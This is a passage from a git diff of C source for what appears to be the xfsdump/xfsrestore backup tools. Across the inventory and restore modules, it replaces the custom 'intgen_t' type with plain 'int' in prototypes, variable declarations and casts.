invt_oref { /* indicates level of depth this has been resolved to */ invt_objtype_t type; - intgen_t lockflag; + int lockflag; void *token; } invt_oref_t; @@ -231,22 +231,22 @@ typedef struct invt_oref { /* */ /*----------------------------------------------------------------------*/ -intgen_t +int oref_resolve( invt_oref_t *invidx, inv_predicate_t bywhat, void *pred); -intgen_t +int oref_resolve_upto( invt_oref_t *obj, invt_objtype_t type); -intgen_t +int oref_resolve_entries( invt_oref_t *obj); -intgen_t +int oref_resolve_counters( invt_oref_t *obj); diff --git a/inventory/inv_priv.h b/inventory/inv_priv.h index 8817b5e..598c366 100644 --- a/inventory/inv_priv.h +++ b/inventory/inv_priv.h @@ -63,8 +63,8 @@ #define INVLOCK( fd, m ) flock( fd, m ) /* return values */ -#define INV_OK (intgen_t) 1 -#define INV_ERR (intgen_t) -1 +#define INV_OK (int) 1 +#define INV_ERR (int) -1 #define I_DONE (int) -1 #define I_EMPTYINV (int) -2 @@ -356,10 +356,10 @@ typedef bool_t (*search_callback_t) (int, invt_seshdr_t *, void *, void *); inv_idbtoken_t idx_create( char *fname, inv_oflag_t forwhat ); -intgen_t +int idx_create_entry( inv_idbtoken_t *tok, int invfd, bool_t firstentry ); -intgen_t +int idx_put_sesstime( inv_sestoken_t tok, bool_t whichtime); @@ -370,19 +370,19 @@ u_int idx_insert_newentry( int fd, int *stobjfd, invt_entry_t *iarr, invt_counter_t *icnt, time32_t tm ); -intgen_t +int idx_put_newentry( invt_idxinfo_t *idx, invt_entry_t *ient ); int idx_get_stobj( int invfd, inv_oflag_t forwhat, int *index ); -intgen_t +int idx_recons_time( time32_t tm, invt_idxinfo_t *idx ); -intgen_t +int idx_DEBUG_printinvindices( invt_entry_t *iarr, u_int num ); -intgen_t +int idx_DEBUG_print ( int fd ); /*----------------------------------------------------------------------*/ @@ -390,11 +390,11 @@ idx_DEBUG_print ( int fd ); int stobj_create( char *fname ); -intgen_t +int stobj_create_session( inv_sestoken_t tok, int fd, invt_sescounter_t *sescnt, invt_session_t *ses, invt_seshdr_t *hdr ); -intgen_t +int stobj_put_mediafile( inv_stmtoken_t tok, invt_mediafile_t *mf ); off64_t @@ -406,7 +406,7 @@ stobj_put_session( invt_stream_t *strms, invt_mediafile_t *mfiles ); -intgen_t +int stobj_put_streams( int fd, invt_seshdr_t *hdr, invt_session_t *ses, invt_stream_t *strms, invt_mediafile_t *mfiles ); @@ -414,20 +414,20 @@ stobj_put_streams( int fd, invt_seshdr_t *hdr, invt_session_t *ses, int stobj_hdrcmp( const void *h1, const void *h2 ); -intgen_t +int stobj_sortheaders( int fd, u_int num ); u_int stobj_find_splitpoint( int fd, invt_seshdr_t *harr, u_int ns, time32_t tm ); -intgen_t +int stobj_split( invt_idxinfo_t *idx, int fd, invt_sescounter_t *sescnt, invt_sessinfo_t *newsess ); bool_t stobj_replace_session( int fd, invt_sescounter_t *sescnt, invt_session_t *ses, invt_seshdr_t *hdr, invt_sessinfo_t *newsess ); -intgen_t +int stobj_delete_mfile( int fd, inv_stream_t *strm, invt_mediafile_t *mf, off64_t mfileoff ); @@ -449,20 +449,20 @@ bool_t stobj_delete_mobj( int fd, invt_seshdr_t *hdr, void *arg, void **buf ); -intgen_t +int stobj_get_sessinfo ( inv_sestoken_t tok, invt_seshdr_t *hdr, invt_session_t *ses ); void stobj_makefname( char *fname ); -intgen_t +int stobj_insert_session( invt_idxinfo_t *idx, int fd, invt_sessinfo_t *s ); -intgen_t +int stobj_make_invsess( int fd, inv_session_t **buf, invt_seshdr_t *hdr ); -intgen_t +int stobj_copy_invsess( int fd, invt_seshdr_t *hdr, invt_session_t *ses, inv_session_t **buf); @@ -494,14 +494,14 @@ stobj_convert_sessinfo(inv_session_t **buf, invt_sessinfo_t *sinfo); /*----------------------------------------------------------------------*/ -intgen_t +int fstab_get_fname( void *pred, char *fname, inv_predicate_t bywhat, inv_oflag_t forwhat ); -intgen_t +int fstab_put_entry( uuid_t *fsidp, char *mntpt, char *dev, inv_oflag_t forwhat ); -intgen_t +int fstab_getall( invt_fstab_t **arr, invt_counter_t **cnt, int *numfs, inv_oflag_t forwhat ); @@ -511,13 +511,13 @@ fstab_DEBUG_print( invt_fstab_t *arr, int num ); /*----------------------------------------------------------------------*/ -intgen_t +int get_invtentry( char *fname, time32_t tm, invt_entry_t *buf, size_t bufsz ); -intgen_t +int get_invtrecord( int fd, void *buf, size_t bufsz, off64_t off, int, bool_t dolock ); -intgen_t +int put_invtrecord( int fd, void *buf, size_t bufsz, off64_t off, int, bool_t dolock ); inv_idbtoken_t @@ -527,23 +527,23 @@ void destroy_token( inv_idbtoken_t tok ); -intgen_t +int get_headers( int fd, void **hdrs, size_t bufsz, size_t cntsz ); -intgen_t +int get_counters( int fd, void **cntpp, size_t sz ); -intgen_t +int get_sescounters( int fd, invt_sescounter_t **cntpp ); -intgen_t +int get_lastheader( int fd, void **ent, size_t hdrsz, size_t cntsz ); inv_sestoken_t get_sesstoken( inv_idbtoken_t tok ); -intgen_t +int get_headerinfo( int fd, void **hdrs, void **cnt, size_t hdrsz, size_t cntsz, bool_t doblock ); @@ -551,13 +551,13 @@ bool_t invmgr_query_all_sessions(uuid_t *fsidp, void *inarg, void **outarg, search_callback_t func); -intgen_t +int search_invt(uuid_t *fsidp, int invfd, void *arg, void **buf, search_callback_t do_chkcriteria); -intgen_t +int invmgr_inv_print( int invfd, invt_pr_ctx_t *prctx); -intgen_t +int invmgr_inv_check( int invfd ); bool_t @@ -571,18 +571,18 @@ lastsess_level_lessthan( int fd, invt_seshdr_t *hdr, void *arg, bool_t lastsess_level_equalto( int fd, invt_seshdr_t *hdr, void *arg, void **buf ); -intgen_t +int DEBUG_displayallsessions( int fd, invt_seshdr_t *hdr, u_int ref, invt_pr_ctx_t *prctx); -intgen_t +int make_invdirectory( inv_oflag_t forwhat ); bool_t init_idb( void *pred, inv_predicate_t bywhat, inv_oflag_t forwhat, inv_idbtoken_t *tok ); -intgen_t +int inv_getopt( int argc, char **argv, invt_pr_ctx_t *prctx); bool_t diff --git a/inventory/inv_stobj.c b/inventory/inv_stobj.c index bae2fc5..0b6aa45 100644 --- a/inventory/inv_stobj.c +++ b/inventory/inv_stobj.c @@ -47,7 +47,7 @@ /* Used in reconstruction of the inventory. We add a session to this */ /* storage object whether or not it has reached its maximum. */ /*----------------------------------------------------------------------*/ -intgen_t +int stobj_insert_session( invt_idxinfo_t *idx, int fd, /* kept locked EX by caller */ invt_sessinfo_t *s ) @@ -160,7 +160,7 @@ stobj_find_splitpoint( int fd, invt_seshdr_t *harr, u_int ns, time32_t tm ) /* */ /*----------------------------------------------------------------------*/ -intgen_t +int stobj_split( invt_idxinfo_t *idx, int fd, invt_sescounter_t *sescnt, invt_sessinfo_t *newsess ) { @@ -269,7 +269,7 @@ stobj_split( invt_idxinfo_t *idx, int fd, invt_sescounter_t *sescnt, /* ARGSUSED */ -intgen_t +int stobj_delete_mfile( int fd, inv_stream_t *strm, invt_mediafile_t *mf, off64_t mfileoff ) { @@ -385,7 +385,7 @@ stobj_put_session( /* */ /*----------------------------------------------------------------------*/ -intgen_t +int stobj_sortheaders( int fd, u_int num ) { size_t sz = sizeof( invt_seshdr_t ) * num; @@ -435,7 +435,7 @@ stobj_sortheaders( int fd, u_int num ) /* after adjusting their offsets. */ /*----------------------------------------------------------------------*/ -intgen_t +int stobj_put_streams( int fd, invt_seshdr_t *hdr, invt_session_t *ses, invt_stream_t *strms, invt_mediafile_t *mfiles ) @@ -567,7 +567,7 @@ stobj_create( char *fname ) /*----------------------------------------------------------------------*/ -intgen_t +int stobj_create_session( inv_sestoken_t tok, int fd, /* kept locked EX by caller */ @@ -601,7 +601,7 @@ stobj_create_session( /* The stobj_fd in the stream token is kept locked EX by caller. */ /*----------------------------------------------------------------------*/ -intgen_t +int stobj_put_mediafile( inv_stmtoken_t tok, invt_mediafile_t *mf ) { int rval; @@ -707,7 +707,7 @@ stobj_put_mediafile( inv_stmtoken_t tok, invt_mediafile_t *mf ) /* caller takes the responsibility of locking. */ /*----------------------------------------------------------------------*/ -intgen_t +int stobj_get_sessinfo ( inv_sestoken_t tok, invt_seshdr_t *hdr, invt_session_t *ses ) { @@ -1127,7 +1127,7 @@ stobj_unpack_sessinfo( /* */ /*----------------------------------------------------------------------*/ -intgen_t +int stobj_make_invsess( int fd, inv_session_t **buf, invt_seshdr_t *hdr ) { invt_session_t ses; @@ -1206,7 +1206,7 @@ stobj_convert_session(inv_session_t *ises, invt_session_t *ses, /* */ /*----------------------------------------------------------------------*/ -intgen_t +int stobj_copy_invsess(int fd, invt_seshdr_t *hdr, invt_session_t *ses, diff --git a/inventory/inventory.h b/inventory/inventory.h index 32156dd..43ac969 100644 --- a/inventory/inventory.h +++ b/inventory/inventory.h @@ -300,7 +300,7 @@ inv_delete_mediaobj( uuid_t *moid ); extern bool_t inv_DEBUG_print( int argc, char **argv ); -extern intgen_t +extern int inv_setup_base( void ); extern char * diff --git a/inventory/testmain.c b/inventory/testmain.c index 51b7774..7a268ea 100644 --- a/inventory/testmain.c +++ b/inventory/testmain.c @@ -84,7 +84,7 @@ typedef struct ses{ #define SESLIM 240 -intgen_t +int recons_test( int howmany ) { int fd, i, rval = 1; @@ -120,7 +120,7 @@ recons_test( int howmany ) -intgen_t +int delete_test( int n ) { int fd, i; @@ -189,7 +189,7 @@ sess_queries_bylabel(char *lab) } -intgen_t +int query_test( int level ) { int i; @@ -245,7 +245,7 @@ query_test( int level ) /* */ /*----------------------------------------------------------------------*/ -intgen_t +int write_test( int nsess, int nstreams, int nmedia, int dumplevel ) { int i,j,k,m,fd; diff --git a/invutil/invidx.c b/invutil/invidx.c index b6ce4fa..56995f0 100644 --- a/invutil/invidx.c +++ b/invutil/invidx.c @@ -621,7 +621,7 @@ stobj_create( char *fname ) return fd; } -intgen_t +int stobj_put_streams( int fd, invt_seshdr_t *hdr, invt_session_t *ses, invt_stream_t *strms, invt_mediafile_t *mfiles ) diff --git a/restore/content.c b/restore/content.c index b02e38a..ac7d72a 100644 --- a/restore/content.c +++ b/restore/content.c @@ -216,7 +216,7 @@ struct pers_file { /* no non-dirs are needed from this nmedia file (due to * subtree or interactive selections) */ - intgen_t f_flags; + int f_flags; /* mark terminators and inventories */ bool_t f_underheadpr; @@ -366,8 +366,8 @@ typedef struct partial_rest partial_rest_t; struct stream_context { bstat_t sc_bstat; char sc_path[2 * MAXPATHLEN]; - intgen_t sc_fd; - intgen_t sc_hsmflags; + int sc_fd; + int sc_hsmflags; /* * we have to set the owner before we set extended attributes otherwise @@ -640,7 +640,7 @@ struct tran { char *t_hkdir; /* absolute pathname of housekeeping directory */ - intgen_t t_persfd; + int t_persfd; /* file descriptor of the persistent state file */ size64_t t_dirdumps; @@ -793,7 +793,7 @@ static bool_t restore_reg( drive_t *drivep, static bool_t restore_extent_group( drive_t *drivep, filehdr_t *fhdrp, char *path, - intgen_t fd, + int fd, bool_t ehcs, rv_t *rvp); static bool_t restore_complete_reg( stream_context_t* ); @@ -825,9 +825,9 @@ static void addobj( bag_t *bagp, static size_t cntobj( bag_t *bagp ); static bool_t gapneeded( egrp_t *firstegrpp, egrp_t *lastegrpp ); static char * ehdr_typestr( int32_t type ); -static intgen_t egrpcmp( egrp_t *egrpap, egrp_t *egrpbp ); +static int egrpcmp( egrp_t *egrpap, egrp_t *egrpbp ); static void display_dump_label( bool_t lockpr, - intgen_t mllevel, + int mllevel, char *introstr, global_hdr_t *grhdrp, media_hdr_t *mrhdrp, @@ -883,7 +883,7 @@ static bool_t mcflag[ STREAM_SIMMAX ]; /* media change flag */ /* definition of locally defined global functions ****************************/ bool_t -content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) +content_init( int argc, char *argv[ ], size64_t vmsz ) { char *dstdir; /* abs. path to destination dir */ bool_t cumpr; /* cmd line cumulative restore specification */ @@ -906,9 +906,9 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) ix_t descpgcnt; /* pages allocated for persistent descriptors */ struct stat statbuf; pid_t pid; - intgen_t c; + int c; bool_t ok; - intgen_t rval; + int rval; bool_t fullpr; /* Calculate the size needed for the persistent inventory @@ -1599,7 +1599,7 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) char *path1; char *path2; rv_t rv; - intgen_t rval; + int rval; path1 = ( char * )calloc( 1, 2 * MAXPATHLEN ); assert( path1 ); @@ -1914,7 +1914,7 @@ content_init( intgen_t argc, char *argv[ ], size64_t vmsz ) /* stream thread entry point - returns exit code */ -intgen_t +int content_stream_restore( ix_t thrdix ) { dh_t fileh; @@ -1922,7 +1922,7 @@ content_stream_restore( ix_t thrdix ) char *path1; char *path2; drive_t *drivep; - intgen_t dcaps; + int dcaps; global_hdr_t *grhdrp; drive_hdr_t *drhdrp; media_hdr_t *mrhdrp; @@ -1933,7 +1933,7 @@ content_stream_restore( ix_t thrdix ) uuid_t lastdumprejectedid; rv_t rv; bool_t ok; - intgen_t rval; + int rval; /* allocate two path buffers */ @@ -2265,7 +2265,7 @@ content_stream_restore( ix_t thrdix ) #if DEBUG_DUMPSTREAMS { static int count[STREAM_MAX] = {0}; - intgen_t streamix = stream_getix( pthread_self() ); + int streamix = stream_getix( pthread_self() ); if (++(count[streamix]) == 30) { mlog( MLOG_TRACE, "still waiting for dirs to be restored\n"); @@ -2437,7 +2437,7 @@ content_stream_restore( ix_t thrdix ) #if DEBUG_DUMPSTREAMS { static int count[STREAM_MAX] = {0}; - intgen_t streamix = stream_getix( pthread_self() ); + int streamix = stream_getix( pthread_self() ); if (++(count[streamix]) == 30) { mlog( MLOG_NORMAL, "still waiting for dirs post-processing\n"); @@ -3453,7 +3453,7 @@ applynondirdump( drive_t *drivep, drive_mark_t drivemark; bstat_t *bstatp = &fhdrp->fh_stat; bool_t resyncpr = BOOL_FALSE; - intgen_t rval; + int rval; /* if a null file header, break */ @@ -3701,7 +3701,7 @@ wipepersstate( void ) while ( ( direntp = readdir64( dirp )) != 0 ) { /* REFERENCED */ - intgen_t len; + int len; if ( ! strcmp( direntp->d_name, "." )) { continue; } @@ -3870,7 +3870,7 @@ Media_mfile_next( Media_t *Mediap, content_hdr_t *crhdrp = Mediap->M_crhdrp; content_inode_hdr_t *scrhdrp = Mediap->M_scrhdrp; dh_t fileh; - intgen_t rval = 0; /* no error by default */ + int rval = 0; /* no error by default */ rv_t rv; bool_t ok; uuid_t prevmfiledumpid; @@ -3949,7 +3949,7 @@ Media_mfile_next( Media_t *Mediap, bool_t maybeholespr; xfs_ino_t begino; xfs_ino_t endino; - intgen_t dcaps = drivep->d_capabilities; + int dcaps = drivep->d_capabilities; dh_t objh = DH_NULL; emptypr = BOOL_FALSE; @@ -4755,7 +4755,7 @@ newmedia: /* eject media if drive not already empty */ if ( ! emptypr ) { - intgen_t dcaps = drivep->d_capabilities; + int dcaps = drivep->d_capabilities; if ( purp == PURP_SEARCH ) { if ( Mediap->M_pos == POS_USELESS ) { mlog( MLOG_VERBOSE | MLOG_MEDIA, _( @@ -4929,7 +4929,7 @@ pi_allocdesc( dh_t *deschp ) ix_t descppg = pgsz / PERS_DESCSZ; ix_t descix; /* REFERENCED */ - intgen_t rval; + int rval; /* first unmap if any existing descriptors */ @@ -5007,7 +5007,7 @@ pi_insertfile( ix_t drivecnt, bool_t egrpvalpr, xfs_ino_t startino, off64_t startoffset, - intgen_t flags, + int flags, bool_t fileszvalpr, off64_t filesz ) { @@ -5428,9 +5428,9 @@ pi_addfile( Media_t *Mediap, Mediap->M_pos = POS_ATNONDIR; donepr = BOOL_FALSE; while ( ! donepr ) { - intgen_t nread; + int nread; drive_ops_t *dop = drivep->d_opsp; - intgen_t rval = 0; + int rval = 0; nread = read_buf( bufp + buflen, bufszincr, ( void * )drivep, @@ -5439,7 +5439,7 @@ pi_addfile( Media_t *Mediap, &rval ); switch( rval ) { case 0: - assert( nread == ( intgen_t )bufszincr ); + assert( nread == ( int )bufszincr ); buflen += ( size_t )nread; bufsz += bufszincr; bufp = ( char * )realloc(( void * )bufp, @@ -6136,7 +6136,7 @@ pi_neededobjs_nondir_alloc( bool_t *knownholesprp, bool_t maybeobjmissingpr; bool_t maybefilemissingpr; dh_t lastobjaddedh; - intgen_t objlistlen; + int objlistlen; /* no point in proceeding if pi not begun */ @@ -6315,7 +6315,7 @@ pi_neededobjs_dir_alloc( bool_t *knownholesprp, bool_t *maybeholesprp ) bool_t maybeobjmissingpr; bool_t maybefilemissingpr; dh_t lastobjaddedh; - intgen_t objlistlen; + int objlistlen; bagp = bag_alloc( ); iterp = pi_iter_alloc( ); @@ -7380,7 +7380,7 @@ restore_file_cb( void *cp, bool_t linkpr, char *path1, char *path2 ) static int set_file_owner( char *path, - intgen_t *fdp, + int *fdp, stream_context_t *strcxtp) { bstat_t *bstatp = &strcxtp->sc_bstat; @@ -7441,11 +7441,11 @@ restore_reg( drive_t *drivep, { bstat_t *bstatp = &fhdrp->fh_stat; stream_context_t *strctxp = (stream_context_t *)drivep->d_strmcontextp; - intgen_t *fdp = &strctxp->sc_fd; - intgen_t rval; + int *fdp = &strctxp->sc_fd; + int rval; struct fsxattr fsxattr; struct stat64 stat; - intgen_t oflags; + int oflags; if ( !path ) return BOOL_TRUE; @@ -7567,7 +7567,7 @@ static bool_t restore_extent_group( drive_t *drivep, filehdr_t *fhdrp, char *path, - intgen_t fd, + int fd, bool_t ehcs, rv_t *rvp ) { @@ -7679,9 +7679,9 @@ restore_complete_reg(stream_context_t *strcxtp) { bstat_t *bstatp = &strcxtp->sc_bstat; char *path = strcxtp->sc_path; - intgen_t fd = strcxtp->sc_fd; + int fd = strcxtp->sc_fd; struct utimbuf utimbuf; - intgen_t rval; + int rval; // only applies to regular files if (!S_ISREG((strcxtp->sc_bstat.bs_mode))) @@ -7781,7 +7781,7 @@ restore_spec( filehdr_t *fhdrp, rv_t *rvp, char *path ) bstat_t *bstatp = &fhdrp->fh_stat; struct utimbuf utimbuf; char *printstr; - intgen_t rval; + int rval; if ( ! path ) { return BOOL_TRUE; @@ -7949,8 +7949,8 @@ restore_symlink( drive_t *drivep, drive_ops_t *dop = drivep->d_opsp; extenthdr_t ehdr; char *scratch; - intgen_t nread; - intgen_t rval; + int nread; + int rval; rv_t rv; mode_t oldumask; @@ -8087,8 +8087,8 @@ read_filehdr( drive_t *drivep, filehdr_t *fhdrp, bool_t fhcs ) bstat_t *bstatp = &fhdrp->fh_stat; drive_ops_t *dop = drivep->d_opsp; /* REFERENCED */ - intgen_t nread; - intgen_t rval; + int nread; + int rval; filehdr_t tmpfh; nread = read_buf( ( char * )&tmpfh, @@ -8146,8 +8146,8 @@ read_extenthdr( drive_t *drivep, extenthdr_t *ehdrp, bool_t ehcs ) { drive_ops_t *dop = drivep->d_opsp; /* REFERENCED */ - intgen_t nread; - intgen_t rval; + int nread; + int rval; extenthdr_t tmpeh; nread = read_buf( ( char * )&tmpeh, @@ -8209,8 +8209,8 @@ read_dirent( drive_t *drivep, global_hdr_t *grhdrp = drivep->d_greadhdrp; drive_ops_t *dop = drivep->d_opsp; /* REFERENCED */ - intgen_t nread; - intgen_t rval; + int nread; + int rval; direnthdr_t tmpdh; char *namep; // beginning of name following the direnthdr_t @@ -8331,8 +8331,8 @@ read_extattrhdr( drive_t *drivep, extattrhdr_t *ahdrp, bool_t ahcs ) { drive_ops_t *dop = drivep->d_opsp; /* REFERENCED */ - intgen_t nread; - intgen_t rval; + int nread; + int rval; extattrhdr_t tmpah; nread = read_buf( ( char * )&tmpah, @@ -8364,8 +8364,8 @@ read_extattrhdr( drive_t *drivep, extattrhdr_t *ahdrp, bool_t ahcs ) mlog( MLOG_NITTY, "read extattr hdr sz %u valoff %u flags 0x%x valsz %u cs 0x%x\n", ahdrp->ah_sz, - ( u_intgen_t )ahdrp->ah_valoff, - ( u_intgen_t )ahdrp->ah_flags, + ( u_int )ahdrp->ah_valoff, + ( u_int )ahdrp->ah_flags, ahdrp->ah_valsz, ahdrp->ah_checksum ); @@ -8403,8 +8403,8 @@ discard_padding( size_t sz, drive_t *drivep ) { drive_ops_t *dop = drivep->d_opsp; /* REFERENCED */ - intgen_t nread; - intgen_t rval; + int nread; + int rval; nread = read_buf( 0, sz, @@ -8489,8 +8489,8 @@ restore_extent( filehdr_t *fhdrp, char *bufp; size_t req_bufsz; /* requested bufsz */ size_t sup_bufsz; /* supplied bufsz */ - intgen_t nwritten; - intgen_t rval; + int nwritten; + int rval; size_t ntowrite; req_bufsz = ( size_t )min( ( off64_t )INTGENMAX, sz ); @@ -8549,7 +8549,7 @@ restore_extent( filehdr_t *fhdrp, if ( fd != -1 ) { size_t tries; size_t remaining; - intgen_t rval; + int rval; off64_t tmp_off; rval = 0; /* for lint */ @@ -8558,7 +8558,7 @@ restore_extent( filehdr_t *fhdrp, remaining = ntowrite, tmp_off = off ; - nwritten < ( intgen_t )ntowrite + nwritten < ( int )ntowrite && tries < WRITE_TRIES_MAX ; @@ -8634,7 +8634,7 @@ restore_extent( filehdr_t *fhdrp, } } } else { - nwritten = ( intgen_t )ntowrite; + nwritten = ( int )ntowrite; } } else { nwritten = 0; @@ -8664,7 +8664,7 @@ restore_extent( filehdr_t *fhdrp, */ fd = -1; assert( ntowrite <= ( size_t )INTGENMAX ); - nwritten = ( intgen_t )ntowrite; + nwritten = ( int )ntowrite; } sz -= ( off64_t )sup_bufsz; off += ( off64_t )nwritten; @@ -8737,8 +8737,8 @@ restore_extattr( drive_t *drivep, for ( ; ; ) { size_t recsz; /* REFERENCED */ - intgen_t nread; - intgen_t rval; + int nread; + int rval; rv_t rv; rv = read_extattrhdr( drivep, ahdrp, ahcs ); @@ -8775,7 +8775,7 @@ restore_extattr( drive_t *drivep, default: return RV_CORE; } - assert( nread == ( intgen_t )( recsz - EXTATTRHDR_SZ )); + assert( nread == ( int )( recsz - EXTATTRHDR_SZ )); if ( ! persp->a.restoreextattrpr && ! persp->a.restoredmpr ) { continue; @@ -8853,7 +8853,7 @@ setextattr( char *path, extattrhdr_t *ahdrp ) bool_t issecurepr = ahdrp->ah_flags & EXTATTRHDR_FLAGS_SECURE; bool_t isdmpr; int attr_namespace; - intgen_t rval; + int rval; isdmpr = ( isrootpr && !strncmp((char *)(&ahdrp[1]), dmiattr, sizeof(dmiattr)-1) ); @@ -8875,7 +8875,7 @@ setextattr( char *path, extattrhdr_t *ahdrp ) rval = attr_set( path, ( char * )( &ahdrp[ 1 ] ), ( ( char * )ahdrp ) + ( u_long_t )ahdrp->ah_valoff, - ( intgen_t )ahdrp->ah_valsz, + ( int )ahdrp->ah_valsz, attr_namespace | ATTR_DONTFOLLOW ); if ( rval ) { char *namespace; @@ -9291,7 +9291,7 @@ pi_show( char *introstring ) { char strbuf[ 100 ]; /* REFERENCED */ - intgen_t strbuflen; + int strbuflen; fold_t fold; if ( mlog_level_ss[ MLOG_SS_MEDIA ] < MLOG_NITTY + 1 ) { @@ -9323,7 +9323,7 @@ static void pi_show_nomloglock( void ) { dh_t strmh; - intgen_t strmix; + int strmix; /* no point in proceeding if pi not begun @@ -9345,7 +9345,7 @@ pi_show_nomloglock( void ) ; strmh = DH2S( strmh )->s_nexth, strmix++ ) { dh_t objh; - intgen_t objix; + int objix; mlog( MLOG_NORMAL | MLOG_BARE | MLOG_NOLOCK | MLOG_MEDIA, _("\nmedia stream %u:\n"), @@ -9503,7 +9503,7 @@ pi_show_nomloglock( void ) } } -static intgen_t +static int egrpcmp( egrp_t *egrpap, egrp_t *egrpbp ) { if ( egrpap->eg_ino < egrpbp->eg_ino ) { @@ -9521,7 +9521,7 @@ egrpcmp( egrp_t *egrpap, egrp_t *egrpbp ) static void display_dump_label( bool_t lockpr, - intgen_t mllevel, + int mllevel, char *introstr, global_hdr_t *grhdrp, media_hdr_t *mrhdrp, diff --git a/restore/dirattr.c b/restore/dirattr.c index a15abe5..d8d5140 100644 --- a/restore/dirattr.c +++ b/restore/dirattr.c @@ -261,7 +261,7 @@ dirattr_init( char *hkdir, bool_t resume, u_int64_t dircnt ) { bool_t successpr; unsigned int ioctlcmd; - intgen_t loglevel; + int loglevel; size_t trycnt; for ( trycnt = 0, @@ -276,7 +276,7 @@ dirattr_init( char *hkdir, bool_t resume, u_int64_t dircnt ) loglevel = max( MLOG_NORMAL, loglevel - 1 )) { off64_t initsz; struct flock64 flock64; - intgen_t rval; + int rval; if ( ! ioctlcmd ) { continue; @@ -354,7 +354,7 @@ void dirattr_cleanup( void ) { /* REFERENCED */ - intgen_t rval; + int rval; if ( ! dtp ) { return; @@ -474,8 +474,8 @@ dirattr_addextattr( dah_t dah, extattrhdr_t *ahdrp ) off64_t off; off64_t seekoff; off64_t nulloff; - intgen_t nread; - intgen_t nwritten; + int nread; + int nwritten; /* pull the selected dir attributes into the cache */ @@ -527,7 +527,7 @@ dirattr_addextattr( dah_t dah, extattrhdr_t *ahdrp ) nread = read( dtp->dt_extattrfd, ( void * )&off, sizeof( off )); - if ( nread != ( intgen_t )sizeof( off )) { + if ( nread != ( int )sizeof( off )) { mlog( MLOG_NORMAL | MLOG_WARNING, _( "could not read extended attributes " "file %s: " @@ -558,7 +558,7 @@ dirattr_addextattr( dah_t dah, extattrhdr_t *ahdrp ) nwritten = write( dtp->dt_extattrfd, ( void * )&nulloff, sizeof( nulloff )); - if ( nwritten != ( intgen_t )sizeof( nulloff )) { + if ( nwritten != ( int )sizeof( nulloff )) { mlog( MLOG_NORMAL | MLOG_WARNING, _( "could not write extended attributes " "file %s: " @@ -570,7 +570,7 @@ dirattr_addextattr( dah_t dah, extattrhdr_t *ahdrp ) return; } nwritten = write( dtp->dt_extattrfd, ( void * )ahdrp, ahdrp->ah_sz ); - if ( nwritten != ( intgen_t )( ahdrp->ah_sz )) { + if ( nwritten != ( int )( ahdrp->ah_sz )) { mlog( MLOG_NORMAL | MLOG_WARNING, _( "could not write at end of extended attributes " "file %s: " @@ -605,7 +605,7 @@ dirattr_addextattr( dah_t dah, extattrhdr_t *ahdrp ) nwritten = write( dtp->dt_extattrfd, ( void * )&off, sizeof( off )); - if ( nwritten != ( intgen_t )sizeof( off )) { + if ( nwritten != ( int )sizeof( off )) { mlog( MLOG_NORMAL | MLOG_WARNING, _( "could not write extended attributes " "file %s: " @@ -659,7 +659,7 @@ dirattr_cb_extattr( dah_t dah, off = dtp->dt_cached_dirattr.d_extattroff; while ( off != DIRATTR_EXTATTROFFNULL ) { off64_t seekoff; - intgen_t nread; + int nread; off64_t nextoff; size_t recsz; bool_t ok; @@ -685,7 +685,7 @@ dirattr_cb_extattr( dah_t dah, nread = read( dtp->dt_extattrfd, ( void * )&nextoff, sizeof( nextoff )); - if ( nread != ( intgen_t )sizeof( nextoff )) { + if ( nread != ( int )sizeof( nextoff )) { mlog( MLOG_NORMAL | MLOG_WARNING, _( "could not read extended attributes " "file %s: " @@ -721,7 +721,7 @@ dirattr_cb_extattr( dah_t dah, nread = read( dtp->dt_extattrfd, ( void * )&ahdrp[ 1 ], recsz - EXTATTRHDR_SZ ); - if ( nread != ( intgen_t )( recsz - EXTATTRHDR_SZ )) { + if ( nread != ( int )( recsz - EXTATTRHDR_SZ )) { mlog( MLOG_NORMAL | MLOG_WARNING, _( "could not read extended attributes " "file %s: " @@ -758,7 +758,7 @@ dirattr_update( dah_t dah, filehdr_t *fhdrp ) off64_t argoff; off64_t newoff; dirattr_t dirattr; - intgen_t nwritten; + int nwritten; /* sanity checks */ @@ -958,7 +958,7 @@ dirattr_get( dah_t dah ) dix_t dix; off64_t argoff; off64_t newoff; - intgen_t nread; + int nread; #ifdef DIRATTRCHK u_int16_t sum; #endif /* DIRATTRCHK */ @@ -1040,7 +1040,7 @@ dirattr_cacheflush( void ) #endif /* DIRATTRCHK */ off64_t argoff; off64_t newoff; - intgen_t nwritten; + int nwritten; /* sanity checks */ diff --git a/restore/inomap.c b/restore/inomap.c index e5bcb55..f1604c4 100644 --- a/restore/inomap.c +++ b/restore/inomap.c @@ -77,8 +77,8 @@ extern size_t pgsz; /* inomap primitives */ -static intgen_t map_getset( xfs_ino_t, intgen_t, bool_t ); -static intgen_t map_set( xfs_ino_t ino, intgen_t ); +static int map_getset( xfs_ino_t, int, bool_t ); +static int map_set( xfs_ino_t ino, int ); static seg_t * map_getsegment( xfs_ino_t ino ); /* definition of locally defined global variables ****************************/ @@ -86,7 +86,7 @@ static seg_t * map_getsegment( xfs_ino_t ino ); /* definition of locally defined static variables *****************************/ -static intgen_t pers_fd = -1; +static int pers_fd = -1; /* file descriptor for persistent inomap backing store */ @@ -103,7 +103,7 @@ static xfs_ino_t last_ino_added; */ static inline void -SEG_SET_BITS( seg_t *segp, xfs_ino_t ino, intgen_t state ) +SEG_SET_BITS( seg_t *segp, xfs_ino_t ino, int state ) { register xfs_ino_t relino; register u_int64_t mask; @@ -155,10 +155,10 @@ SEG_SET_BITS( seg_t *segp, xfs_ino_t ino, intgen_t state ) } } -static inline intgen_t +static inline int SEG_GET_BITS( seg_t *segp, xfs_ino_t ino ) { - intgen_t state; + int state; register xfs_ino_t relino; register u_int64_t mask; relino = ino - segp->base; @@ -190,12 +190,12 @@ inomap_restore_pers( drive_t *drivep, pers_t *persp; hnk_t *pershnkp; hnk_t *tmphnkp; - intgen_t fd; + int fd; /* REFERENCED */ - intgen_t nread; - intgen_t rval; + int nread; + int rval; /* REFERENCED */ - intgen_t rval1; + int rval1; int i; bool_t ok; @@ -312,8 +312,8 @@ inomap_discard( drive_t *drivep, content_inode_hdr_t *scrhdrp ) drive_ops_t *dop = drivep->d_opsp; u_int64_t tmphnkcnt; /* REFERENCED */ - intgen_t nread; - intgen_t rval; + int nread; + int rval; /* get inomap info from media hdr */ @@ -411,7 +411,7 @@ inomap_sync_pers( char *hkdir ) */ for ( hnkp = roothnkp ; - 